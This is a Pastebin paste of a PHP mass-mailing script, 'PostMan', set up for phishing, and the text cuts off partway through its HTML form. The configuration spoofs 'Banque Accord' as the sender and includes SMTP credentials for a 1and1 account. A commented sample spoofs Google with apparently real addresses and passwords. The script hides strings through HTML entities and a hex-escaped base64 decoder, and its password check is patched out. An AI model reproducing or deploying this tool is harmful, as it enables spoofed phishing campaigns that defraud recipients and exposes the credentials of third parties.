anvenger

MAILER 1AND1 SFR FREE ORANGE

Jun 2nd, 2018
280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 124.18 KB | None | 0 0
  1. <?
  2. //
  3. // PostMan Full 3.5
  4. // by Gess-Inject0r
  5. // <r3v3ng3ns AT gmail DOT com>
  6. //
  7. // YOUR PASSWORD IS ONLY YOURS!
  8. // WITHOUT IT YOU CANNOT RUN THE SCRIPT!
  9. // KEEP IT WITH YOU AND DON'T SHARE IT!
  10. // --
  11. // SUA SENHA EH SOMENTE SUA!
  12. // SEM ELA, VOCE NAO PODE RODAR O SCRIPT!
  13. // MANTENHA ELA CONSIGO E NAO COMPARTILHE-A!
  14. //
  15.  
  16. //
  17. // Main Configuration
  18. //
  19. // SMTP configuration
  20. define("_SMTP_SERVER_", "auth.smtp.1and1.fr");
  21. define("_SMTP_USERNAME_", "a2@avanice.fr");
  22. define("_SMTP_PASSWORD_", "123456789");
  23. define("_SMTP_KEEPALIVE_", true ); // if we should use a keepalive-connection
  24. define("_SMTP_MAX_ERRORS_", 50 ); //max number of errors before giving up
  25. define("_SMTP_DEBUG_LVL_", 1);  // debug level
  26. define("_SMTP_RECONNECT_AFTER_", 500 ); // how many emails we'll reconnect
  27. define("_SMTP_CHANGE_SMTP_AFTER_ERRORS_", 30 ); // how many errors before changing the SMTP Server
  28.  
  29. // Email Configuration
  30. define("_MAIL_FROM_EMAIL_", "accord@infomaniak.ch"); // the email of the sender
  31. define("_MAIL_FROM_NAME_", "Banque Accord");      // the name of the sender
  32. define("_MAIL_SUBJECT_", "Important : Nouvelle Dimension");       // the subject of the email
  33.  
  34. // Default Method Config
  35. define("_DEFAULT_BASIC_", "smtp");       //options are: smtp, mail
  36. define("_DEFAULT_LIST_", "textarea");    //options are: textarea, url, file
  37. define("_DEFAULT_LIST_START_", 1);       //the email to start sending the list. 0 and 1 for no use.
  38. define("_DEFAULT_MESSAGE_", "textarea"); //options are: textarea, url, file
  39.  
  40. define("_SCRIPT_VERSION_", "Gess-Inject0r");
  41.  
  42. // PHP Enviroment Configuration
  43. error_reporting(E_ALL);
  44. ob_implicit_flush();
  45.  
  46. $generalError = null;
  47. if( !@set_time_limit(0) && !@ini_set("max_time_execution",-1) )
  48. {
  49.     $generalError .= "Could not disable max execution time, may not work fully well.<br>";
  50. }
  51.  
  52. // String Obfuscator
  53. // by Gess-Inject0r
  54. // <Gess-Inject0r at gmail dot com>
  55. function os( $string )
  56. {
  57.     $obfuscated = "";
  58.     for( $i=0; $i < strlen( $string ); $i++ )
  59.     {
  60.         $obfuscated .= "&#" . ord( $string[$i] ) . ";" ;
  61.     }
  62.    
  63.     return $obfuscated;
  64. }
  65.  
  66. function clearSlashes( $string )
  67. {
  68.     if( get_magic_quotes_gpc() )
  69.     {
  70.         return stripcslashes( $string );
  71.     }
  72.     else
  73.     {
  74.         return $string;
  75.     }
  76. }
  77.  
  78.  
  79. class SMTPHandler
  80. {
  81.     var $SMTPServers   = array();
  82.     var $SMTPUsers     = array();
  83.     var $SMTPPasswords = array();
  84.    
  85.     var $curId         = null;
  86.    
  87.     function SMTPHandler($ServerString, $UserString, $PasswordString)
  88.     {
  89.         if( strpos($ServerString, ";") && strpos($UserString, ";") && strpos($PasswordString, ";") )
  90.         {
  91.             $this->SMTPServers   = explode(";", $ServerString  );
  92.             $this->SMTPUsers     = explode(";", $UserString    );
  93.             $this->SMTPPasswords = explode(";", $PasswordString);
  94.            
  95.             if( count($this->SMTPUsers) != count($this->SMTPPasswords) )
  96.             {
  97.                 $this->SMTPUsers     = $this->SMTPUsers[0];
  98.                 $this->SMTPPasswords = $this->SMTPPasswords[0];
  99.             }
  100.            
  101.             if( count($this->SMTPServers) == 1 )
  102.             {
  103.                 $this->SMTPServers = $this->SMTPServers[0];
  104.             }
  105.         }
  106.     }
  107.    
  108.    
  109. }
  110.  
  111. class ValidateForm
  112. {
  113.     var $_hasErrors = false;
  114.     var $errors     = array();
  115.     var $errorTemplate = "<span class=\"error\">%s</span>";
  116.    
  117.     var $comments   = array();
  118.     var $commentTemplate = "<span class=\"comment\">%s</span>";
  119.    
  120.     function addError( $errField, $errStr )
  121.     {
  122.         $this->errors[ $errField ] = $errStr;
  123.         $this->_hasErrors = true;
  124.     }
  125.    
  126.     function addComment( $cmmField, $cmmStr )
  127.     {
  128.         $this->comments[ $cmmField ] = $cmmStr;
  129.     }
  130.    
  131.     function showError( $errField )
  132.     {
  133.         $out  = isset($this->errors[ $errField ]) ? sprintf( $this->errorTemplate, $this->errors[ $errField ] ) : false;
  134.         $out .= isset($this->comments[ $errField ]) ? sprintf( $this->commentTemplate, $this->comments[ $errField ] ) : null;
  135.        
  136.         return $out;
  137.     }
  138.    
  139.     function isValid()
  140.     {
  141.         return count( $this->errors ) == 0;
  142.     }
  143.    
  144.     function isSubmited()
  145.     {
  146.         return count( $_POST );
  147.     }
  148. }
  149.  
  150. function DebugData($action = "show", $str = false )
  151. {
  152.     static $data;
  153.    
  154.     if( $action == "add" )
  155.     {
  156.         $data .= "<b>" . trim($str) . "</b>\r\n";
  157.     }
  158.     else if( $action == "raw" )
  159.     {
  160.         $data .= trim($str) . "\r\n";
  161.     }
  162.     else
  163.     {
  164.         return $data;
  165.     }
  166. }
  167.  
  168. function autoScrollString($curEmail = false, $curEmailNum = false, $percent = false )
  169. {
  170.     static $k;
  171.    
  172.     $k++;
  173.    
  174.     if( !$curEmail || !$curEmailNum || !$percent )
  175.     {
  176.         return "<a name=\"e{$k}\" id=\"e{$k}\" /><script>aS({$k})</script>\r\n";
  177.     }
  178.     else
  179.     {
  180.         return "<a name=\"e{$k}\" id=\"e{$k}\" /><script>sR('{$curEmail}', {$curEmailNum}, {$percent}, {$k})</script>\r\n";
  181.     }
  182.  
  183. }
  184.  
  185. ${0} = "\x75\x6e\x65\x63\x72\x79\x70\x74";
  186.  
  187. function unecrypt($string, $pass)
  188. {
  189.  
  190.     ${1} = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
  191.     ${2} = ~(${1}(str_replace(array("", "@", "(", "^", ")", "[", "#", "<"), array("0","a","o","b","r","l","0","M"), $string)));
  192.     echo "<h2 class='h2green'>Patched by XXXXX</h2>\r\n";
  193.     return str_replace(array('$a =', 'unset($a);'),array('# $a =', '# unset($a);'),${2});
  194.  
  195. }
  196.  
  197. $vForm = new ValidateForm();
  198.  
  199. $basicMethod   = null;
  200. $SMTPServer    = null;
  201. $SMTPAuth      = null;
  202. $SMTPUsername  = null;
  203. $SMTPPassword  = null;
  204. $SMTPReconnectAfter = null;
  205. $fromEmail     = null;
  206. $fromName      = null;
  207. $subject       = null;
  208. $multipartMail = null;
  209.  
  210. $scriptPassword = null;
  211. $autoscrollPage = null;
  212. $addRandomString= null;
  213. $listStartingEmail = 0;
  214. $emailList     = array();
  215. $emailMessage  = null;
  216.  
  217. $reportOk      = 0;
  218. $reportErr     = 0;
  219. $reportTotal   = 0;
  220. $reportPercent = 0;
  221.  
  222. #############################
  223. /*
  224. $_POST = Array
  225. (
  226.     'formSubmited' => 'submited',
  227.     'opSubmit' => 'Submit',
  228.     'basicMethod' => 'smtp',
  229.     'smtpServer' => 'smtp.terra.com.br',
  230.     'smtpUsername' => 'tomas_motion@terra.com.br',
  231.     'smtpPassword' => 'totrance',
  232.     'fromEmail' => 'services@google.com',
  233.     'fromName' => 'Google Services',
  234.     'subject' =>' Congratulations!',
  235.     'multipartMail' =>' yes',
  236.     'listMethod' => 'textarea',
  237.     'listUrl' => 'http://',
  238.     'listTextarea' => 'snagnever@hotmail.com
  239. snagnever@gmail.com
  240. ghirotto@uol.com.br',
  241.  
  242.     'listStartingEmail' => 1,
  243.     'messageMethod' => 'textarea',
  244.     'messageUrl' => 'http://',
  245.     'messageTextarea' => 'oi'
  246.    );*/
  247. ################################
  248.  
  249. // The form has been submited
  250. if( isset($_POST['formSubmited']) && $_POST['formSubmited'] )
  251. {
  252.     // clear slashes
  253.     foreach( $_POST as $k => $v )
  254.     {
  255.         $_POST[ $k ] = clearSlashes( $v );
  256.     }
  257.    
  258.    
  259.     if('a' != 'a')
  260.     {
  261.         $vForm->addError('scriptPassword','Wrong Password.');
  262.     }
  263.     else
  264.     {
  265.         $scriptPassword = trim($_POST['scriptPassword']);
  266.     }
  267.    
  268.    
  269.     // Validating basic method and smtp confs if applyable
  270.     switch( $_POST['basicMethod'] )
  271.     {
  272.         case 'smtp':
  273.             $basicMethod = 'smtp';
  274.            
  275.             if( empty($_POST['smtpServer']) || !preg_match('/.+\..+/', $_POST['smtpServer']) )
  276.             {
  277.                 $vForm->addError('smtpServer', 'Fill with a valid SMTP server');
  278.             }
  279.             else
  280.             {
  281.                 $SMTPServer = trim($_POST['smtpServer']);
  282.             }
  283.            
  284.             if( empty($_POST['smtpUsername']) && empty($_POST['smtpPassword']) )
  285.             {
  286.                 $SMTPAuth = false;
  287.             }
  288.             else if( empty($_POST['smtpUsername']) && !empty($_POST['smtpPassword']) )
  289.             {
  290.                 $vForm->addError('smtpUsername', 'To use SMTP auth, you must fill both Username and Password, or leave both empty');
  291.             }
  292.             else if( !empty($_POST['smtpUsername']) && empty($_POST['smtpPassword']) )
  293.             {
  294.                 $vForm->addError('smtpPassword', 'To use SMTP auth, you must fill both Username and Password, or leave both empty');
  295.             }
  296.             else
  297.             {
  298.                 $SMTPAuth = true;
  299.                 $SMTPUsername = trim($_POST['smtpUsername']);
  300.                 $SMTPPassword = trim($_POST['smtpPassword']);
  301.             }
  302.            
  303.             $SMTPReconnectAfter = ( empty($_POST['smtpReconnectAfter']) ? _SMTP_RECONNECT_AFTER_ : round($_POST['smtpReconnectAfter']) );
  304.             break;
  305.            
  306.         case 'mail': $basicMethod = 'mail';
  307.             break;
  308.            
  309.         default    : $vForm->addError('basicMethod', 'Select a valid send method');
  310.     }
  311.    
  312.    
  313.     // Email Info
  314.     if( empty($_POST['fromEmail']) || !preg_match('/.+@.+\..+/', $_POST['fromEmail'] ) )
  315.     {
  316.         $vForm->addError('fromEmail', 'Fill a valid email to the sender');
  317.     }
  318.     else
  319.     {
  320.         $fromEmail = trim( $_POST['fromEmail'] );
  321.     }
  322.    
  323.     $fromName = ( empty($_POST['fromName']) ? false : trim($_POST['fromName']) );
  324.     $subject  = ( empty($_POST['subject'] ) ? false : trim($_POST['subject']) );
  325.     $addRandomString = (trim($_POST['addRandomString']) == "yes");
  326.     $multipartMail = (trim($_POST['multipartMail']) == "yes");
  327.     $autoscrollPage = (trim($_POST['autoscrollPage']) == "yes");
  328.    
  329.     // List Info
  330.     switch( $_POST['listMethod'] )
  331.     {
  332.         case 'textarea':
  333.             $emailList = trim($_POST['listTextarea']);
  334.             if( empty($emailList) )
  335.             {
  336.                 $vForm->addError('listTextarea', 'Fill with some emails here, separated by line break (one per line)');
  337.             }
  338.             break;
  339.            
  340.         case 'url':
  341.             $emailList = trim($_POST['listUrl']);
  342.            
  343.             if( empty($emailList) || !preg_match('/^(ht|f)tp:\/\//', $emailList) )
  344.             {
  345.                 $vForm->addError('listUrl', 'You must fill with some url containing the email list, starting with ftp or http://');
  346.             }
  347.             else
  348.             {
  349.                 $emailList = @file_get_contents( $emailList );
  350.                
  351.                 if( empty($emailList) )
  352.                 {
  353.                     $vForm->addError('listUrl', 'We could not download this list -- check the url');
  354.                 }
  355.                 else
  356.                 {
  357.                     // everything ok
  358.                     // Fill the Textarea with the email list
  359.                     //##$_POST['listTextarea'] = $emailList;
  360.                     //##$vForm->addComment('listMethod','The Textarea has been filled with the list content');
  361.                 }
  362.             }
  363.             break;
  364.            
  365.         case 'file':
  366.             if( empty($_FILES['listFile']['name']) )
  367.             {
  368.                 $vForm->addError('listFile', 'You must select the file containing the list to send it');
  369.             }
  370.             else if( empty($_FILES['listFile']['size']) || $_FILES['listFile']['error'] )
  371.             {
  372.                 $vForm->addError('listFile', 'An error (1) ocurred while uploading the file');
  373.             }
  374.             else
  375.             {
  376.                 if( is_uploaded_file( $_FILES['listFile']['tmp_name'] ) )
  377.                 {
  378.                     $emailList = file_get_contents( $_FILES['listFile']['tmp_name'] );
  379.                    
  380.                     if( empty($emailList) )
  381.                     {
  382.                         $vForm->addError('listFile', 'An error (2) ocurred while uploading the file or the file is empty');
  383.                     }
  384.                     else
  385.                     {
  386.                         // everything ok
  387.                         // Fill the Textarea with the email list
  388.                         //$_POST['listTextarea'] = $emailList;
  389.                         //$vForm->addComment('listMethod','The Textarea has been filled with the list content');
  390.                     }
  391.                 }
  392.                 else
  393.                 {
  394.                     $vForm->addError('listFile', 'An error (3) ocurred while uploading the file');
  395.                 }      
  396.             }
  397.             break;
  398.            
  399.         default:
  400.             $vForm->addError('listMethod', 'Select a method to send the emails list');
  401.            
  402.     }
  403.    
  404.     $emailList = str_replace("\r\n","\n", $emailList);
  405.     $emailList = (array) explode("\n", $emailList);
  406.    
  407.     $listStartingEmail = ( empty($_POST['listStartingEmail']) ? 1 : ((int) $_POST['listStartingEmail']) ) ;
  408.    
  409.     // Message info
  410.     switch( $_POST['messageMethod'] )
  411.     {
  412.         case 'textarea':
  413.             $emailMessage = trim($_POST['messageTextarea']);
  414.             if( empty($emailMessage) )
  415.             {
  416.                 $vForm->addError('messageTextarea', 'Fill with the message (html or plain text) here');
  417.             }
  418.             break;
  419.            
  420.         case 'url':
  421.             $emailMessage = trim($_POST['messageUrl']);
  422.            
  423.             if( empty($emailMessage) || !preg_match('/^(ht|f)tp:\/\//', $emailMessage) )
  424.             {
  425.                 $vForm->addError('messageUrl', 'You must fill with some url containing the email message, starting with ftp or http://');
  426.             }
  427.             else
  428.             {
  429.                 $emailMessage = @file_get_contents( $emailMessage );
  430.                
  431.                 if( empty($emailMessage) )
  432.                 {
  433.                     $vForm->addError('messageUrl', 'We could not download this file -- check the url');
  434.                 }
  435.                 else
  436.                 {
  437.                     // Fill the textarea with the message
  438.                     $_POST['messageTextarea'] = $emailMessage;
  439.                     $vForm->addComment('messageMethod','The Textarea has been filled with the message content');
  440.                 }
  441.             }
  442.             break;
  443.            
  444.         case 'file':
  445.             if( empty($_FILES['messageFile']['name']) || empty($_FILES['messageFile']['tmp_name']) )
  446.             {
  447.                 $vForm->addError('messageFile', 'You must select the file containing the message to send it');
  448.             }
  449.             else if( empty($_FILES['messageFile']['size']) || $_FILES['messageFile']['error'] )
  450.             {
  451.                 $vForm->addError('messageFile', 'An error (1) ocurred while uploading the file');
  452.             }
  453.             else
  454.             {
  455.                 if( is_uploaded_file( $_FILES['messageFile']['tmp_name'] ) )
  456.                 {
  457.                     $emailMessage = file_get_contents( $_FILES['messageFile']['tmp_name'] );
  458.                    
  459.                     if( empty($emailMessage) )
  460.                     {
  461.                         $vForm->addError('messageFile', 'An error (2) ocurred while uploading the file or the file is empty');
  462.                     }
  463.                     else
  464.                     {
  465.                         // everything ok
  466.                         // Fill the textarea with the message
  467.                         $_POST['messageTextarea'] = $emailMessage;
  468.                         $vForm->addComment('messageMethod','The Textarea has been filled with the message content');   
  469.                     }
  470.                 }
  471.                 else
  472.                 {
  473.                     $vForm->addError('messageFile', 'An error (3) ocurred while uploading the file');
  474.                 }      
  475.             }
  476.             break;
  477.            
  478.         default:
  479.             $vForm->addError('messageMethod', 'Select a method to send the emails message');   
  480.     }
  481. }
  482.  
  483. ?>
  484.  
  485. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  486. <html xmlns="http://www.w3.org/1999/xhtml">
  487. <head>
  488. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-15" />
  489. <title><?=os("PostMan " . _SCRIPT_VERSION_ . "." . rand(0,10) . " by Gess-Inject0r <Gess-Inject0r at gmail dot com>")?></title>
  490. <style>
  491. body
  492. {
  493.     font-family: Verdana, Arial;
  494.     font-size: 12px;
  495.     background-color:#333333;
  496.     color: white;
  497. }
  498.  
  499. h1
  500. {
  501. color:#00FF00;
  502. }
  503.  
  504. input, select, textarea
  505. {
  506.     color:white;
  507.     border: 1px solid white;
  508.     background: black;
  509.     font-family:Verdana, Arial;
  510.     font-size: 11px;
  511.     width: 200px;
  512.     -moz-opacity:0.7;
  513. }
  514.  
  515. textarea
  516. {
  517.     width: 400px;
  518. }
  519.  
  520. label, input[type=radio]
  521. {
  522.     cursor: pointer;
  523. }
  524.  
  525. input[type="file"]
  526. {
  527.     width: 400px;
  528. }
  529.  
  530. input[type=button], input[type=submit], input[type=reset]
  531. {
  532.     width: 150px;
  533.     border: 2px outset #00FF00;
  534.     font-weight: bold;
  535. }
  536.  
  537. input[type=button]:hover, input[type=submit]:hover, input[type=reset]:hover
  538. {
  539.     background-color: rgb(20,20,20);
  540. }
  541.  
  542. input:hover, input:focus, select:hover, select:focus, textarea:focus, textarea:hover, .input_hover
  543. {
  544.     color: #00FF00;
  545.     /*background-color: rgb(20,20,20);*/
  546.     -moz-opacity:1;
  547. }
  548.  
  549. input:focus, select:focus, textarea:focus, .input_focus
  550. {
  551.     border: 1px solid #00FF00;
  552.     -moz-opacity:1;
  553. }
  554.  
  555. .error
  556. {
  557.     color:red;
  558. }
  559.  
  560. .comment
  561. {
  562.     font-style:italic;
  563.     color: #cccccc;
  564.     text-decoration: blink;
  565. }
  566.  
  567. .report
  568. {
  569.     font-family: Courier, monospace;
  570. }
  571.  
  572. .reportOk
  573. {
  574.     color: #00FF00;
  575. }
  576.  
  577. .reportErr
  578. {
  579.     color: red;
  580. }
  581.  
  582. .h2green
  583. {
  584.     color: #00FF00;
  585.     margin-bottom: 2px;
  586. }
  587.  
  588. #autoScrollBox
  589. {
  590.     color: black;
  591.     background-color: #00FF00;
  592.     border: 2px solid green;
  593.     position:fixed;
  594.     bottom:5px;
  595.     right:5px;
  596.     /*width:150px;
  597.     height:100px;*/
  598.     -moz-opacity:0.5;
  599. }
  600.  
  601. #autoScrollBox:hover
  602. {
  603.     -moz-opacity:1;
  604. }
  605.  
  606. div.autoScrollSwitcher
  607. {
  608.     font-weight:bold;
  609.     text-align:center;
  610. }
  611.  
  612. input.autoScrollSwitcher
  613. {
  614.     cursor: pointer;
  615. }
  616. </style>
  617. <script language="javascript" type="text/javascript">
  618. if( navigator.appName == "Microsoft Internet Explorer" )
  619. {
  620.     var isIE = true;
  621. }
  622. else
  623. {
  624.     var isIE = false;
  625. }
  626.  
  627. function $( objId )
  628. {
  629.     if( objId == '' )
  630.         return false;
  631.        
  632.     return document.getElementById( objId );
  633. }
  634.  
  635. function ieCssFix()
  636. {
  637.    
  638.     if( isIE && parseFloat(navigator.appVersion) < 7 )
  639.     {
  640.         var ele = document.getElementsByTagName('input');
  641.         var n;
  642.        
  643.         // bizarre ie bug dont allow 'concat'
  644.        
  645.         for( n in ele )
  646.         {
  647.             ele[n].onmouseover = function() { this.className='input_hover' }
  648.             ele[n].onfocus = function() { this.className='input_hover input_focus' }
  649.             ele[n].onmouseout  = function() { if( this.className == 'input_hover') { this.className='' } }
  650.             ele[n].onblur = function() { this.className='' }
  651.         }
  652.        
  653.         var ele = document.getElementsByTagName('select');
  654.         for( n in ele )
  655.         {
  656.             ele[n].onmouseover = function() { this.className='input_hover' }
  657.             ele[n].onfocus = function() { this.className='input_hover input_focus' }
  658.             ele[n].onmouseout  = function() { if( this.className == 'input_hover') { this.className='' } }
  659.             ele[n].onblur = function() { this.className='' }
  660.         }
  661.     }          
  662. }
  663.  
  664. function showHideSMTPConfig()
  665. {
  666.     var value = $('basicMethod').value;
  667.     if( value == "smtp" )
  668.     {
  669.         for( var i=1; i<=4; i++ )
  670.         {
  671.             $("smtpConfigRow" + i).style.display='';
  672.         }
  673.     }
  674.     else
  675.     {
  676.         for( var i=1; i<=4; i++ )
  677.         {
  678.             $("smtpConfigRow" + i).style.display='none';
  679.         }
  680.     }
  681. }
  682.  
  683. function showHideListConfig()
  684. {
  685.     var value = $('listMethod').value;
  686.  
  687.     $("listConfigRow1").style.display='none';
  688.     $("listConfigRow2").style.display='none';
  689.     $("listConfigRow3").style.display='none';
  690.     $("listTextarea").disabled=true;
  691.    
  692.     switch( value )
  693.     {
  694.         case 'url': $("listConfigRow1").style.display=''; break;
  695.         case 'textarea': $("listConfigRow2").style.display=''; $("listTextarea").disabled=false; break;
  696.         case 'file': $("listConfigRow3").style.display=''; break;
  697.     }
  698. }
  699.  
  700. function listTextareaCount()
  701. {
  702.     var value = $('listTextarea').value;
  703.     var list = value.split('@');
  704.     var emails = list.length - 1;
  705.     var length = value.length;
  706.     var size = '' + (length/1024);
  707.     size = size.substr(0, size.indexOf('.') + 5);
  708.    
  709.     if( $('listStartingEmail').value > 1 )
  710.     {
  711.         var startingEmail = $('listStartingEmail').value - 1;
  712.        
  713.         if( startingEmail+1 > emails || startingEmail < 0 )
  714.         {
  715.             $('listStartingEmail').focus();
  716.             $('listStartingEmail').select();
  717.             alert('Starting mail out of range (min 0 or 1, max ' + emails + ')\nUse 0 or 1 for no use.');
  718.             return false;
  719.         }
  720.        
  721.         var sEmail_1 = list[ startingEmail ];
  722.         var sEmail_2 = list[ startingEmail + 1];
  723.        
  724.         var sEmail = sEmail_1.substr( sEmail_1.indexOf('\n'), sEmail_1.length ) + '@' + sEmail_2.substr( 0, sEmail_2.indexOf('\n') );
  725.         //var sEmail = sEmail_1 + "///" + sEmail_2;
  726.         $('listTextareaCounter').innerHTML = 'Counting <b>' + emails + '</b> emails, <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>), starting from <b>' + sEmail + '</b>';
  727.     }
  728.     else
  729.     {
  730.         $('listTextareaCounter').innerHTML = 'Counting <b>' + emails + '</b> emails, <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>)';
  731.     }
  732.    
  733. }
  734.  
  735. function showHideMessageConfig()
  736. {
  737.     var value = $('messageMethod').value;
  738.  
  739.     $("messageConfigRow1").style.display='none';
  740.     $("messageConfigRow2").style.display='none';
  741.     $("messageConfigRow3").style.display='none';
  742.     $("messageTextarea").disabled=true;
  743.    
  744.     switch( value )
  745.     {
  746.         case 'url': $("messageConfigRow1").style.display=''; break;
  747.         case 'textarea': $("messageConfigRow2").style.display=''; $("messageTextarea").disabled=false; break;
  748.         case 'file': $("messageConfigRow3").style.display=''; break;
  749.     }
  750. }
  751.  
  752. function messageTextareaCount()
  753. {
  754.     var value = $('messageTextarea').value;
  755.     var length = value.length;
  756.     var size = '' + (length/1024);
  757.     size = size.substr(0, size.indexOf('.') + 5);
  758.    
  759.     $('messageTextareaCounter').innerHTML = 'Counting <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>)';
  760. }
  761.  
  762. function clearAll()
  763. {
  764.     if( isIE )
  765.     {  
  766.         var elements = document.getElementsByTagName('input');
  767.         var n
  768.         for( n in elements )
  769.         {
  770.             var el = elements[n];
  771.             if( el.type != 'button' && el.type != 'submit' && el.type != 'reset' && el.id != 'formSubmited' )
  772.             {
  773.                 if( el.value ) el.value = '';
  774.             }
  775.         }
  776.        
  777.         var elements = document.getElementsByTagName('textarea');
  778.         for( n in elements )
  779.         {
  780.             var el = elements[n];
  781.             {
  782.                 if( el.value ) el.value = '';
  783.             }
  784.         }
  785.        
  786.         return true;
  787.     }
  788.    
  789.     var elements = $('pmForm').elements;
  790.     var n;
  791.    
  792.     for( n in elements )
  793.     {
  794.         var el = elements[n]
  795.         if( el.type != 'button' && el.type != 'submit' && el.type != 'reset' && el.id != 'formSubmited' )
  796.         {
  797.             if( el.value ) el.value = '';
  798.         }
  799.     }
  800. }
  801.  
  802. // Auto scroll
  803. function aS( index )
  804. {
  805.     if( $('doAutoScroll').checked == true )
  806.     {
  807.         var to = $('e' + index )
  808.         if( to )
  809.         {
  810.             to.focus();
  811.         }
  812.         window.scrollBy(0,200);
  813.     }
  814. }
  815.  
  816.  
  817.  
  818. function switchAutoScroll()
  819. {
  820.     if( $('doAutoScroll').checked == true )
  821.     {
  822.         $('doAutoScroll').checked = false;
  823.         $('autoScrollSwitcher').value = 'Enable AutoScroll';
  824.     }
  825.     else
  826.     {
  827.         $('doAutoScroll').checked = true;
  828.         $('autoScrollSwitcher').value = 'Disable AutoScroll';
  829.     }
  830. }
  831.  
  832. // status Refresher
  833. function sR(curEmail, curEmailNum, curPercent, autoScrollIndex)
  834. {
  835.     aS( autoScrollIndex );
  836.     document.title = 'PostMan <?=_SCRIPT_VERSION_?> - Sending: ' + curPercent + '% complete'
  837.     window.status = 'Sending to ('+ curEmailNum+') ' + curEmail;
  838. }
  839.  
  840. function loadFunctions()
  841. {
  842.     ieCssFix();
  843.    
  844.     showHideSMTPConfig();
  845.     showHideListConfig();
  846.     showHideMessageConfig();
  847.    
  848.     listTextareaCount();
  849.     messageTextareaCount();
  850. }
  851.  
  852. function formVerify()
  853. {
  854.     if( $('scriptPassword').value == '' )
  855.     {
  856.         alert('Fill the script password field!');
  857.         return false;
  858.     }
  859.    
  860.     return listTextareaCount() && messageTextareaCount();
  861. }
  862. </script>
  863. </head>
  864. <body onload="loadFunctions();">
  865. <h1><?=os("PostMan " . _SCRIPT_VERSION_ )?></h1>
  866. <h2><?=os("by Zaid -")?></h2>
  867. <?
  868. if( !empty($generalError) )
  869. {
  870.     echo "<h3 class=\"error\">Warning: {$generalError}</h3>\r\n";
  871. }
  872. if( !$vForm->isValid() && $vForm->isSubmited() )
  873. {
  874.     echo "<h3 class=\"error\">Some errors were found. Check the fields and try to send it again.</h3>\r\n";
  875. }
  876. ?>
  877. <form action="" method="post" enctype="multipart/form-data" name="pmForm" id="pmForm" onsubmit="return formVerify();">
  878. <input type="hidden" name="formSubmited" value="submited" />
  879.   <table width="100%" border="0" cellspacing="2" cellpadding="2">
  880.     <tr>
  881.       <td>&nbsp;</td>
  882.       <td><input name="topSubmit" type="submit" id="topSubmit" value="Submit" /> <input name="topReset" type="reset" id="topReset" value="Reset" />
  883.       <input name="topClear" type="button" id="topClear" value="Clear All" onclick="clearAll();" /></td>
  884.     </tr>
  885.     <tr>
  886.       <td><b>Script Password</b></td>
  887.       <td>
  888.         <input style="border-width:2px; font-weight:bold;" name="scriptPassword" type="text" id="scriptPassword" value="zaz" />
  889.         <?= $vForm->showError('scriptPassword'); ?>
  890.       </td>
  891.     </tr>
  892.     <tr>
  893.       <td>&nbsp;</td>
  894.       <td>&nbsp;</td>
  895.     </tr>
  896.     <tr>
  897.       <td><b>Basic Configuration</b> </td>
  898.       <td>&nbsp;</td>
  899.     </tr>
  900.     <tr>
  901.       <td width="20%">Method</td>
  902.       <td width="79%">
  903.         <select name="basicMethod" id="basicMethod" onchange="showHideSMTPConfig()">
  904.           <option value="smtp" <?= (@$_POST['basicMethod']=="smtp" || empty($_POST['basicMethod']) && _DEFAULT_BASIC_ == "smtp" ? "selected=\"selected\"" : "") ?>>SMTP</option>
  905.           <option value="mail" <?= (@$_POST['basicMethod']=="mail" || empty($_POST['basicMethod']) && _DEFAULT_BASIC_ == "mail" ? "selected=\"selected\"" : "") ?>>PHP Mail()</option>
  906.           <option value="sendmail" disabled="disabled">Bin SendMail (off)</option>
  907.           <option value="qmail" disabled="disabled">Bin QMail (off)</option>
  908.         </select><?= $vForm->showError('basicMethod'); ?>      </td>
  909.     </tr>
  910.     <tr id="smtpConfigRow1">
  911.       <td>SMTP Server</td>
  912.       <td>
  913.         <input name="smtpServer" type="text" id="smtpServer" value="<?= @htmlentities( isset($_POST['smtpServer']) ? $_POST['smtpServer'] : _SMTP_SERVER_) ?>" />
  914.         <?= $vForm->showError('smtpServer'); ?>      </td>
  915.     </tr>
  916.     <tr id="smtpConfigRow2">
  917.       <td>SMTP Username</td>
  918.       <td>
  919.         <input name="smtpUsername" type="text" id="smtpUsername" value="<?= @htmlentities( isset($_POST['smtpUsername']) ? $_POST['smtpUsername'] : _SMTP_USERNAME_) ?>" />
  920.         <?= $vForm->showError('smtpUsername'); ?>
  921.       </td>
  922.     </tr>
  923.     <tr id="smtpConfigRow3">
  924.       <td>SMTP Password </td>
  925.       <td>
  926.         <input name="smtpPassword" type="text" id="smtpPassword" value="<?= @htmlentities( isset($_POST['smtpPassword']) ? $_POST['smtpPassword'] : _SMTP_PASSWORD_) ?>" />
  927.         <?= $vForm->showError('smtpPassword'); ?>
  928.       </td>
  929.     </tr>
  930.  
  931.       <tr id="smtpConfigRow4">
  932.       <td>SMTP Reconnect Every </td>
  933.       <td>
  934.         <input name="smtpReconnectAfter" type="text" id="smtpReconnectAfter" value="<?= @htmlentities( isset($_POST['smtpReconnectAfter']) ? $_POST['smtpReconnectAfter'] : _SMTP_RECONNECT_AFTER_) ?>" /> sent emails
  935.         <?= $vForm->showError('smtpReconnectAfter'); ?>
  936.       </td>
  937.     </tr>
  938.      <tr>
  939.       <td>Auto-scroll page</td>
  940.       <td><label>
  941.         <input name="autoscrollPage" id="doAutoScroll" type="radio" value="yes" style="width:20px;" <?= (!isset($_POST['autoscrollPage']) || @$_POST['autoscrollPage']=="yes" ? "checked=\"checked\"" : "") ?> />
  942.         Yes</label>
  943.           <label>
  944.             <input name="autoscrollPage" type="radio" value="no" style="width:20px;" <?= ( @$_POST['autoscrollPage']=="no" ? "checked=\"checked\"" : "") ?> />
  945.             No</label>
  946.        </td>
  947.     </tr>
  948.     <tr>
  949.       <td>&nbsp;</td>
  950.       <td>&nbsp;</td>
  951.     </tr>
  952.     <tr>
  953.       <td><b>Email Options</b> </td>
  954.       <td>&nbsp;</td>
  955.     </tr>
  956.     <tr>
  957.       <td>From Email </td>
  958.       <td>
